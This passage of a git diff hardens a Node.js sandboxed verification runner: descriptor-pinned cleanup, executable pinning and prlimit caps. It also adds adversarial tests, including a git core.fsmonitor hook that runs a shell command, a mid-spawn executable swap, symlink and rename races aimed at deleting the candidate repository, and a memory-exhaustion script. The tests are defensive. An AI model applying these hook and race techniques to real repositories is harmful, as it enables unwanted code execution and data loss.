fstatOrDeny(childFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(opened, stat) || opened.isSymbolicLink() || !opened.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + emptyPinnedDirectory(childFd, opened.dev, opened.ino, depth + 1); + } finally { + closeQuiet(childFd); + } + try { + const remaining = FS_LSTAT_SYNC(childPath, { bigint: true }); + if (!sameDirPin(remaining, stat) || remaining.isSymbolicLink() || !remaining.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + FS_RMDIR_SYNC(childPath); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + deny('cleanup_uncertain', 'cleanup'); + } + continue; + } + try { + FS_UNLINK_SYNC(childPath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + } + let leftover; try { - resolved = await adapter.realpath(record.path); + leftover = FS_READDIR_SYNC(cleanupFdPath(dirFd), { encoding: 'buffer' }); } catch { deny('cleanup_uncertain', 'cleanup'); } - assertExactWorkspace(record, entry, resolved); + if (leftover.length !== 0) deny('cleanup_uncertain', 'cleanup'); +} + +function unlinkQuarantineName(parentFd, qName, expectedDev, expectedIno) { + const namePath = cleanupFdPath(parentFd, qName); + let nameStat; + try { + nameStat = FS_LSTAT_SYNC(namePath, { bigint: true }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + assertPinnedDirectory(nameStat, expectedDev, expectedIno); + try { + FS_RMDIR_SYNC(namePath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } +} + +function assertQuarantineAbsent(parentFd, qName) { try { - await adapter.rmdirExact(record); + FS_LSTAT_SYNC(cleanupFdPath(parentFd, qName), { bigint: true }); } catch (error) { if (error && error.name === 'RunContractV1Error') throw error; + if (error && error.code === 'ENOENT') return; deny('cleanup_uncertain', 'cleanup'); } + deny('cleanup_uncertain', 'cleanup'); +} + +async function invokeAfterQuarantinePin(adapter, record, qName, qFd) { + if (typeof adapter.afterQuarantinePin !== 'function') return; + await adapter.afterQuarantinePin({ + dev: record.dev, + dirFd: record.dirFd, + ino: record.ino, + name: record.name, + parentFd: record.parentFd, + parentPath: record.parentPath, + path: record.path, + qFd, + qName, + }); +} + +async function removeExactWorkspace(adapter, record) { + if (record === undefined || !NUMBER_IS_SAFE_INTEGER(record.parentFd) || record.parentFd < 0 + || !NUMBER_IS_SAFE_INTEGER(record.dirFd) || record.dirFd < 0 + || typeof record.name !== 'string' || typeof record.id !== 'string' + || !STRING_STARTS_WITH(record.name, WORKSPACE_NAME_PREFIX) + || !capturedTest(WORKSPACE_ID_PATTERN, record.id) + || record.parentPath === '/' || record.path === '/' || record.path === record.parentPath) { + deny('cleanup_uncertain', 'cleanup'); + } + const qName = `${QUARANTINE_NAME_PREFIX}${record.id}`; + if (qName === record.name || !STRING_STARTS_WITH(qName, QUARANTINE_NAME_PREFIX)) { + deny('cleanup_uncertain', 'cleanup'); + } + let qFd = -1; + try { + try { + FS_RENAME_SYNC( + cleanupFdPath(record.parentFd, record.name), cleanupFdPath(record.parentFd, qName), + ); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + qFd = openCleanupDir(cleanupFdPath(record.parentFd, qName)); + const qStat = fstatOrDeny(qFd, 'cleanup', 'cleanup_uncertain'); + const pinned = fstatOrDeny(record.dirFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(qStat, record) || !sameDirPin(pinned, record) + || qStat.isSymbolicLink() || !qStat.isDirectory() + || pinned.isSymbolicLink() || !pinned.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + await invokeAfterQuarantinePin(adapter, record, qName, qFd); + emptyPinnedDirectory(qFd, record.dev, record.ino, 0); + const qAfter = fstatOrDeny(qFd, 'cleanup', 'cleanup_uncertain'); + const pinnedAfter = fstatOrDeny(record.dirFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(qAfter, record) || !sameDirPin(pinnedAfter, record) + || qAfter.isSymbolicLink() || !qAfter.isDirectory() + || pinnedAfter.isSymbolicLink() || !pinnedAfter.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + unlinkQuarantineName(record.parentFd, qName, record.dev, record.ino); + assertQuarantineAbsent(record.parentFd, qName); + const parentStat = fstatOrDeny(record.parentFd, 'cleanup', 'cleanup_uncertain'); + if (parentStat.dev !== record.parentDev || parentStat.ino !== record.parentIno + || parentStat.isSymbolicLink() || !parentStat.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + try { + FS_RMDIR_SYNC(record.parentPath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + } finally { + closeQuiet(qFd); + closeQuiet(record.dirFd); + closeQuiet(record.parentFd); + record.dirFd = -1; + record.parentFd = -1; + } } function waitStreamEnded(stream) { @@ -961,44 +1526,104 @@ function attachCappedStream(stream, maxBytes, onFlood) { }; } -async function runApprovedOnce(adapter, intent, cwd, env, markSpawned) { +function pinApprovedExecutable(executable) { + const execFd = openNoFollow( + executable, OPEN_NOFOLLOW_READ, 'request.intent.executable', 'executable_not_runnable', + ); + const preStat = fstatOrDeny(execFd, 'request.intent.executable', 'executable_not_runnable'); + assertPinnedRegularFile(preStat, 'request.intent.executable', 'executable_not_runnable'); + const mode = typeof preStat.mode === 'bigint' ? Number(preStat.mode & 0o111n) : preStat.mode & 0o111; + if (mode === 0) { + closeQuiet(execFd); + deny('executable_not_runnable', 'request.intent.executable'); + } + const preHash = hashFdSync(execFd); + return { execFd, preHash, preStat }; +} + +function assertExecutableIdentityHeld(executable, pin) { + const postStat = fstatOrDeny(pin.execFd, 'request.intent.executable', 'executable_not_runnable'); + if (!sameIdentity(postStat, pin.preStat) || postStat.isSymbolicLink() || !postStat.isFile()) { + deny('executable_not_runnable', 'request.intent.executable'); + } + const postHash = hashFdSync(pin.execFd); + if (!equalDigest(postHash, pin.preHash)) deny('executable_not_runnable', 'request.intent.executable'); + let pathStat; + try { + pathStat = FS_LSTAT_SYNC(executable, { bigint: true }); + } catch { + deny('executable_not_runnable', 'request.intent.executable'); + } + if (pathStat.isSymbolicLink() || pathStat.dev !== pin.preStat.dev || pathStat.ino !== pin.preStat.ino) { + deny('executable_not_runnable', 'request.intent.executable'); + } +} + +async function listDescendantsOrUncertain(adapter, pid) { + let leftovers; + try { + leftovers = await adapter.listDescendants(pid); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + deny('cleanup_uncertain', 'execution'); + } + if (!capturedIsArray(leftovers)) deny('cleanup_uncertain', 'execution'); + return leftovers; +} + +async function runApprovedOnce(adapter, intent, workspace, env, markSpawned) { if (intent.timeout_ms < KILL_GRACE_MS) deny('out_of_range', 'request.intent.timeout_ms'); const argv = []; for (let index = 0; index < intent.argv.length; index += 1) { ARRAY_PUSH.call(argv, intent.argv[index]); } + const limits = resourceLimitsFor(intent.timeout_ms); + const verify = []; + walkCopyIdentity(workspace.dirFd, '', 0, verify); + if (!equalDigest(workspace.copyDigest, digestCopyIdentity(verify))) { + deny('candidate_race', 'workspace'); + } + const pin = pinApprovedExecutable(intent.executable); markSpawned(); let child; try { child = adapter.spawn(intent.executable, argv, { - cwd, + cwd: workspace.cwd, env, - shell: false, + executableFd: pin.execFd, networkMode: 'deny', + resourceLimits: limits, + shell: false, stdio: ['ignore', 'pipe', 'pipe'], windowsHide: true, + workspaceFd: workspace.dirFd, detached: false, }); } catch { + closeQuiet(pin.execFd); + deny('resource_bound_unavailable', 'execution'); + } + if (!child || typeof child.on !== 'function') { + closeQuiet(pin.execFd); deny('resource_bound_unavailable', 'execution'); } - if (!child || typeof child.on !== 'function') deny('resource_bound_unavailable', 'execution'); let flooded = false; let timedOut = false; + let killConfirmed = true; let killGrace; const stdoutCap = attachCappedStream(child.stdout, intent.resources.max_output_bytes, () => { flooded = true; - try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } }); const stderrCap = attachCappedStream(child.stderr, intent.resources.max_error_bytes, () => { flooded = true; - try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } }); const timer = setTimeout(() => { timedOut = true; - try { adapter.killProcessGroup(child.pid, 'SIGTERM'); } catch { /* already dead */ } + try { adapter.killProcessGroup(child.pid, 'SIGTERM'); } catch { killConfirmed = false; } killGrace = setTimeout(() => { - try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } }, KILL_GRACE_MS); }, intent.timeout_ms); let exit; @@ -1014,7 +1639,6 @@ async function runApprovedOnce(adapter, intent, cwd, env, markSpawned) { child.once('error', reject); child.once('exit', (code, signal) => finish({ code, signal })); stuckTimer = setTimeout(() => { - timedOut = true; finish({ code: null, signal: null, stuck: true }); }, intent.timeout_ms + KILL_GRACE_MS + STUCK_GRACE_MS); }); @@ -1023,42 +1647,50 @@ async function runApprovedOnce(adapter, intent, cwd, env, markSpawned) { new Promise((resolve) => setTimeout(resolve, STUCK_GRACE_MS)), ]); } catch { + closeQuiet(pin.execFd); deny('resource_bound_unavailable', 'execution'); } finally { clearTimeout(timer); if (killGrace !== undefined) clearTimeout(killGrace); if (stuckTimer !== undefined) clearTimeout(stuckTimer); } - const leftovers = await adapter.listDescendants(child.pid); - if (capturedIsArray(leftovers) && leftovers.length > 0) { - for (let index = 0; index < leftovers.length; index += 1) { - try { adapter.killProcessGroup(leftovers[index], 'SIGKILL'); } catch { /* best effort */ } + try { + assertExecutableIdentityHeld(intent.executable, pin); + const leftovers = await listDescendantsOrUncertain(adapter, child.pid); + if (leftovers.length > 0) { + for (let index = 0; index < leftovers.length; index += 1) { + try { adapter.killProcessGroup(leftovers[index], 'SIGKILL'); } catch { /* best effort */ } + } + const still = await listDescendantsOrUncertain(adapter, child.pid); + if (still.length > 0) deny('escaped_descendants', 'execution'); + deny('escaped_descendants', 'execution'); + } + if (exit.stuck === true) deny('cleanup_uncertain', 'execution'); + if (killConfirmed === false) deny('cleanup_uncertain', 'execution'); + if (flooded || stdoutCap.truncated() || stderrCap.truncated()) deny('output_flood', 'execution'); + if (timedOut) deny('timeout', 'execution'); + const code = exit.code; + const signal = exit.signal; + const hasCode = code !== null && code !== undefined; + const hasSignal = signal !== null && signal !== undefined; + if (hasCode === hasSignal) deny('signal_ambiguous', 'execution'); + if (hasSignal) deny('signal_ambiguous', 'execution'); + if (typeof code !== 'number' || !NUMBER_IS_SAFE_INTEGER(code) || code < 0 || code > 255) { + deny('signal_ambiguous', 'execution'); } - const still = await adapter.listDescendants(child.pid); - if (capturedIsArray(still) && still.length > 0) deny('escaped_descendants', 'execution'); - deny('escaped_descendants', 'execution'); - } - if (flooded || stdoutCap.truncated() || stderrCap.truncated()) deny('output_flood', 'execution'); - if (timedOut) deny('timeout', 'execution'); - const code = exit.code; - const signal = exit.signal; - const hasCode = code !== null && code !== undefined; - const hasSignal = signal !== null && signal !== undefined; - if (hasCode === hasSignal) deny('signal_ambiguous', 'execution'); - if (hasSignal) deny('signal_ambiguous', 'execution'); - if (typeof code !== 'number' || !NUMBER_IS_SAFE_INTEGER(code) || code < 0 || code > 255) { - deny('signal_ambiguous', 'execution'); + return { + exit_code: code, + signal: null, + stdout_bytes: stdoutCap.bytes(), + stderr_bytes: stderrCap.bytes(), + stdout_digest: stdoutCap.digest(), + stderr_digest: stderrCap.digest(), + stdout_truncated: false, + stderr_truncated: false, + }; + } finally { + closeQuiet(pin.execFd); } - return { - exit_code: code, - signal: null, - stdout_bytes: stdoutCap.bytes(), - stderr_bytes: stderrCap.bytes(), - stdout_digest: stdoutCap.digest(), - stderr_digest: stderrCap.digest(), - stdout_truncated: false, - stderr_truncated: false, - }; } function requireEnum(allowed, value, path) { @@ -1166,6 +1798,25 @@ function freezeCandidateAudit(snapshot) { }); } +function bindCopyIdentity(snapshot, copyDigest) { + return freezeRecord(capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'gitdir', 'head_sha', + 'refs_digest', 'status_digest', 'worktrees_digest', + ]), { + head_sha: snapshot.head_sha, + base_sha: snapshot.base_sha, + status_digest: snapshot.status_digest, + refs_digest: snapshot.refs_digest, + config_digest: snapshot.config_digest, + worktrees_digest: snapshot.worktrees_digest, + filesystem_digest: sha256Hex(BUFFER_FROM(canonicalJsonStringify({ + copy: copyDigest, + source: snapshot.filesystem_digest, + }), 'utf8')), + gitdir: snapshot.gitdir, + }); +} + export async function executeConstrainedVerificationV1(input, options = {}) { const request = parseRequest(input, 'request'); const adapter = resolveAdapter(options, 'options'); @@ -1182,12 +1833,13 @@ export async function executeConstrainedVerificationV1(input, options = {}) { }; try { workspace = await createWorkspace(adapter, candidate); + const boundBefore = bindCopyIdentity(before, workspace.copyDigest); const env = buildChildEnvironment(intent.environment); const started = adapter.nowMs(); if (typeof started !== 'number' || !NUMBER_IS_SAFE_INTEGER(started) || started < 0) { deny('clock_denied', 'execution'); } - const run = await runApprovedOnce(adapter, intent, workspace.path, env, markSpawned); + const run = await runApprovedOnce(adapter, intent, workspace, env, markSpawned); const ended = adapter.nowMs(); if (typeof ended !== 'number' || !NUMBER_IS_SAFE_INTEGER(ended) || ended < started) { deny('clock_denied', 'execution'); @@ -1195,11 +1847,12 @@ export async function executeConstrainedVerificationV1(input, options = {}) { const durationMs = ended - started; const filesystemAfter = await assertCandidateSafe(adapter, candidate); const after = await snapshotCandidate(adapter, candidate, filesystemAfter, false); - assertUnchanged(before, after); + const boundAfter = bindCopyIdentity(after, workspace.copyDigest); + assertUnchanged(boundBefore, boundAfter); await removeExactWorkspace(adapter, workspace); workspace = undefined; const acceptance = freezeAcceptanceObservation(intent, run, durationMs); - const git = freezeGitObservation(after, durationMs, intent.plan_identity.digest); + const git = freezeGitObservation(boundAfter, durationMs, intent.plan_identity.digest); const observations = freezeRecord(OBSERVATION_KEYS, { acceptance, git_identity: git }); const body = freezeRecord(RECEIPT_BODY_KEYS, { schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, @@ -1208,7 +1861,7 @@ export async function executeConstrainedVerificationV1(input, options = {}) { intent_identity: intent.plan_identity, policy_identity: intent.policy_identity, outcome: freezeOutcome(run, durationMs), - candidate_audit: freezeCandidateAudit(after), + candidate_audit: freezeCandidateAudit(boundAfter), cleanup: freezeRecord(CLEANUP_KEYS, { status: 'removed' }), observations, facts: freezeFacts(acceptance, git), @@ -1232,6 +1885,7 @@ export async function executeConstrainedVerificationV1(input, options = {}) { try { await removeExactWorkspace(adapter, workspace); } catch (cleanupError) { + closeWorkspaceFds(workspace); if (cleanupError && cleanupError.name === 'RunContractV1Error') throw cleanupError; deny('cleanup_uncertain', 'cleanup'); } @@ -1249,6 +1903,7 @@ export const CONSTRAINED_VERIFICATION_CONTRACT_DESCRIPTOR = capturedFreeze({ receipt_keys: RECEIPT_RESULT_KEYS, git_executable: GIT_EXECUTABLE, unshare_executable: UNSHARE_EXECUTABLE, + prlimit_executable: PRLIMIT_EXECUTABLE, reported_results: REPORTED_RESULTS, fact_kinds: capturedFreeze(['acceptance_results', 'git_identity']), default_deny: capturedFreeze({ @@ -1256,6 +1911,9 @@ export const CONSTRAINED_VERIFICATION_CONTRACT_DESCRIPTOR = capturedFreeze({ env: capturedFreeze({}), network: 'deny', executions: 1, + cpu_seconds_cap: RESOURCE_CPU_SECONDS_CAP, + address_space_bytes: RESOURCE_ADDRESS_SPACE_BYTES, + nproc: RESOURCE_NPROC, }), }); diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs index b517c61..08b545c 100644 --- a/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs @@ -1,15 +1,30 @@ import assert from 'node:assert/strict'; -import { mkdir, rm, symlink } from 'node:fs/promises'; +import { spawn as nodeSpawn } from 'node:child_process'; +import fs, { + chmodSync, copyFileSync, renameSync, symlinkSync, writeFileSync, +} from 'node:fs'; +import { chmod, lstat, mkdir, readFile, rm, symlink, writeFile } from 'node:fs/promises'; import path from 'node:path'; import test from 'node:test'; import { types as utilTypes } from 'node:util'; import { resolveApprovedVerificationCommandV1 } from '../mcp/v3/approved-verification-command.mjs'; -import { executeConstrainedVerificationV1 } from '../mcp/v3/constrained-verification-runner.mjs'; +import { + GIT_CLOSED_ENV, + GIT_CONFIG_OVERRIDES, + GIT_EXECUTABLE, + QUARANTINE_NAME_PREFIX, + RESOURCE_ADDRESS_SPACE_BYTES, + RESOURCE_NPROC, + WORKSPACE_NAME_PREFIX, + WORKSPACE_PARENT_PREFIX, + executeConstrainedVerificationV1, +} from '../mcp/v3/constrained-verification-runner.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { TRUE_EXECUTABLE, countingProxy, + fakeChild, genuineRequest, gitIdentitySnapshot, initCandidateRepo, @@ -200,29 +215,33 @@ test('cleanup identity swap never deletes the candidate or unresolved paths', as candidate: { repository: candidate, expected_head_sha: head }, }); const deleted = []; - let workspacePath; + const mkdirPaths = []; const base = recordingAdapter({ child: { code: 0 }, git: gitIdentitySnapshot({ head_sha: head, gitdir: `${candidate}/.git` }), }); - const realLstat = (await import('node:fs/promises')).lstat; const realMkdir = (await import('node:fs/promises')).mkdir; - const realRealpath = (await import('node:fs/promises')).realpath; const adapter = { ...base.adapter, mkdir: async (target, options) => { - workspacePath = target; + mkdirPaths.push(target); return realMkdir(target, options); }, - lstat: async (target, options) => { - const entry = await realLstat(target, options); - if (workspacePath !== undefined && target === workspacePath && deleted.length === 0 - && base.calls.spawn.length > 0) { - return { ...entry, ino: entry.ino + 1n, isSymbolicLink: () => false, isDirectory: () => true, isFile: () => false }; + spawn: (file, args, options) => { + const workspacePath = mkdirPaths.find((entry) => path.basename(entry).startsWith('codex-co-engineer-p16c-') + && path.basename(entry).startsWith('codex-co-engineer-p16c-owner-') === false); + if (workspacePath !== undefined) { + const stolen = `${workspacePath}.stolen`; + try { + renameSync(workspacePath, stolen); + symlinkSync(candidate, workspacePath); + } catch { + // race helper; cleanup must still fail closed + } } - return entry; + base.calls.spawn.push({ file, args, options }); + return fakeChild({ code: 0 }); }, - realpath: (target) => realRealpath(target), rmdirExact: async (record) => { deleted.push(record.path); }, @@ -232,6 +251,7 @@ test('cleanup identity swap never deletes the candidate or unresolved paths', as assert.equal(deleted.length, 0); assert.equal(deleted.includes(candidate), false); assert.equal(deleted.includes('/'), false); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); } finally { await rm(root, { recursive: true, force: true }); } @@ -293,3 +313,503 @@ test('failures never echo native stacks, URLs, or attacker argv', async () => { assert.equal(error.message.includes('at parse'), false); assert.equal(error.message.includes('TypeError'), false); }); + +function spawnGit(args, env) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, args, { + cwd: '/', + env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + child.on('error', reject); + child.on('exit', (code, signal) => resolve({ code, signal })); + }); +} + +test('parent-failing git fsmonitor marker is reproduced and repaired audit writes zero', async () => { + const { root, candidate, head } = await candidatePair(); + const marker = path.join(root, 'fsmonitor.marker'); + const hook = path.join(root, 'fsmonitor.sh'); + try { + await writeFile(hook, `#!/bin/sh\necho pwned >> "${marker}"\nexit 0\n`, { mode: 0o755 }); + await chmod(hook, 0o755); + await spawnGit(['-C', candidate, 'config', 'core.fsmonitor', hook], { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + }); + await spawnGit([ + '-C', candidate, '--no-optional-locks', 'status', '--porcelain=v1', '--untracked-files=all', + ], { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_OPTIONAL_LOCKS: '0', + GIT_TERMINAL_PROMPT: '0', + }); + const parentMarker = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(parentMarker.includes('pwned'), true); + await rm(marker, { force: true }); + const receipt = await executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + })); + assert.equal(receipt.outcome.result, 'pass'); + const repaired = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(repaired, ''); + assert.equal(GIT_CONFIG_OVERRIDES.includes('core.fsmonitor='), true); + assert.equal(Object.hasOwn(GIT_CLOSED_ENV, 'PATH'), false); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing executable path replacement is fail-closed and never re-opens the path', async () => { + const { root, candidate, head } = await candidatePair(); + const exe = path.join(root, 'approved-true'); + const marker = path.join(root, 'pwned.marker'); + try { + copyFileSync(TRUE_EXECUTABLE, exe); + await chmod(exe, 0o755); + const request = genuineRequest({ + policy: policyForExecutable(exe), + executable: exe, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + spawn: (file, args, options) => { + renameSync(exe, `${exe}.orig`); + writeFileSync(exe, `#!/bin/sh\necho pwned > "${marker}"\nexit 0\n`); + chmodSync(exe, 0o755); + assert.equal(typeof options.executableFd, 'number'); + return nodeSpawn('/proc/self/fd/3', args, { + cwd: options.cwd, + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', options.executableFd], + }); + }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'executable_not_runnable'); + const pwned = await readFile(marker, 'utf8').catch(() => ''); + assert.equal(pwned, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing workspace cwd symlink swap cannot redirect writes', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/touch', { argv_template: ['redirected.marker'] }), + executable: '/usr/bin/touch', + candidate: { repository: candidate, expected_head_sha: head }, + }); + const mkdirPaths = []; + const { adapter, calls } = recordingAdapter({}); + const realMkdir = adapter.mkdir; + adapter.mkdir = async (target, options) => { + mkdirPaths.push(target); + return realMkdir(target, options); + }; + adapter.spawn = (file, args, options) => { + const workspacePath = mkdirPaths.find((entry) => path.basename(entry).startsWith('codex-co-engineer-p16c-') + && path.basename(entry).startsWith('codex-co-engineer-p16c-owner-') === false); + if (workspacePath !== undefined) { + try { + renameSync(workspacePath, `${workspacePath}.moved`); + symlinkSync(candidate, workspacePath); + } catch { + // ignore helper failures; descriptor cwd must still win + } + } + calls.spawn.push({ file, args, options }); + assert.match(options.cwd, /^\/proc\/self\/fd\/[0-9]+$/u); + return nodeSpawn('/usr/bin/touch', args, { + cwd: options.cwd, + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + const redirected = await readFile(path.join(candidate, 'redirected.marker'), 'utf8').catch(() => ''); + assert.equal(redirected, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing /proc enumeration failure is cleanup_uncertain not pass', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ + child: { code: 0 }, + listDescendants: async () => { + throw Object.assign(new Error('eacces'), { code: 'EACCES' }); + }, + }).adapter, + })); + assert.equal(error.code, 'cleanup_uncertain'); + + const nonArray = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ + child: { code: 0 }, + listDescendants: async () => undefined, + }).adapter, + })); + assert.equal(nonArray.code, 'cleanup_uncertain'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing special files and copy races are rejected before execution', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await symlink(path.join(candidate, 'README'), path.join(candidate, 'link-readme')); + const linked = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }))); + assert.equal(linked.code, 'symlink_denied'); + + await rm(path.join(candidate, 'link-readme')); + const fifo = path.join(candidate, 'pipe'); + await new Promise((resolve, reject) => { + nodeSpawn('/usr/bin/mkfifo', [fifo], { shell: false }).on('exit', (code) => { + if (code === 0) resolve(); + else reject(new Error('mkfifo')); + }); + }); + const fifoError = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }))); + assert.equal(fifoError.code, 'special_file_denied'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing unshare-only bounds are replaced by explicit prlimit CPU AS and nproc', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + const receipt = await executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter }); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(calls.spawn[0].options.resourceLimits.nproc, RESOURCE_NPROC); + assert.equal(calls.spawn[0].options.resourceLimits.address_space_bytes, RESOURCE_ADDRESS_SPACE_BYTES); + assert.equal(Number.isSafeInteger(calls.spawn[0].options.resourceLimits.cpu_seconds), true); + const source = await readFile(new URL('../mcp/v3/constrained-verification-runner.mjs', import.meta.url), 'utf8'); + assert.match(source, /\/usr\/bin\/prlimit/u); + assert.match(source, /--cpu=/u); + assert.match(source, /--as=/u); + assert.match(source, /--nproc=/u); + assert.match(source, /O_NOFOLLOW/u); + assert.match(source, /O_DIRECTORY/u); + assert.match(source, /\/proc\/self\/fd\//u); + assert.equal(source.includes('recursive: true'), false); + assert.doesNotMatch(source, /\bFS_RM\b/u); + assert.match(source, /FS_UNLINK_SYNC/u); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('parent-failing address-space escape is fail-closed by prlimit', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await writeFile(path.join(candidate, 'mem.py'), [ + 'try:', + ' x=b"x"*400*1024*1024', + ' raise SystemExit(0)', + 'except MemoryError:', + ' raise SystemExit(2)', + '', + ].join('\n')); + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/python3.12', { argv_template: ['mem.py'] }), + executable: '/usr/bin/python3.12', + candidate: { repository: candidate, expected_head_sha: head }, + }); + let passed = false; + try { + const receipt = await executeConstrainedVerificationV1(request); + passed = receipt.outcome.result === 'pass'; + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + } + assert.equal(passed, false); + assert.equal(RESOURCE_ADDRESS_SPACE_BYTES < 400 * 1024 * 1024, true); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +const HEX_A = 'a'.repeat(32); +const HEX_B = 'b'.repeat(32); +const SENTINEL_BYTES = 'p16c-candidate-sentinel-preserve\n'; +const OPEN_PINNED_DIR = fs.constants.O_RDONLY | fs.constants.O_DIRECTORY | fs.constants.O_NOFOLLOW; + +async function gitHeadOf(repo) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, ['-C', repo, 'rev-parse', 'HEAD'], { + cwd: '/', + env: { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + }, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + }); + let out = ''; + child.stdout.on('data', (chunk) => { out += String(chunk); }); + child.on('error', reject); + child.on('exit', (code) => { + if (code === 0) resolve(out.trim()); + else reject(new Error('rev-parse failed')); + }); + }); +} + +function replaceQuarantineWithCandidate(parentPath, qName, candidate) { + const qPath = path.join(parentPath, qName); + renameSync(qPath, `${qPath}.stolen`); + renameSync(candidate, qPath); + return qPath; +} + +test('parent 95adf976 recursive quarantine path rm deletes a replaced candidate', async () => { + const root = await makeTempRoot(); + const parentPath = path.join(root, `${WORKSPACE_PARENT_PREFIX}${HEX_A}`); + const workspaceName = `${WORKSPACE_NAME_PREFIX}${HEX_B}`; + const workspacePath = path.join(parentPath, workspaceName); + const candidate = path.join(root, 'candidate'); + const qName = `${QUARANTINE_NAME_PREFIX}${HEX_B}`; + try { + const head = await initCandidateRepo(candidate); + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(parentPath, { recursive: false, mode: 0o700 }); + await mkdir(workspacePath, { recursive: false, mode: 0o700 }); + await writeFile(path.join(workspacePath, 'junk'), 'workspace-copy\n'); + const parentFd = fs.openSync(parentPath, OPEN_PINNED_DIR); + const dirFd = fs.openSync(`/proc/self/fd/${parentFd}/${workspaceName}`, OPEN_PINNED_DIR); + const pinned = fs.fstatSync(dirFd, { bigint: true }); + fs.renameSync(`/proc/self/fd/${parentFd}/${workspaceName}`, `/proc/self/fd/${parentFd}/${qName}`); + const qFd = fs.openSync(`/proc/self/fd/${parentFd}/${qName}`, OPEN_PINNED_DIR); + const qStat = fs.fstatSync(qFd, { bigint: true }); + assert.equal(qStat.dev, pinned.dev); + assert.equal(qStat.ino, pinned.ino); 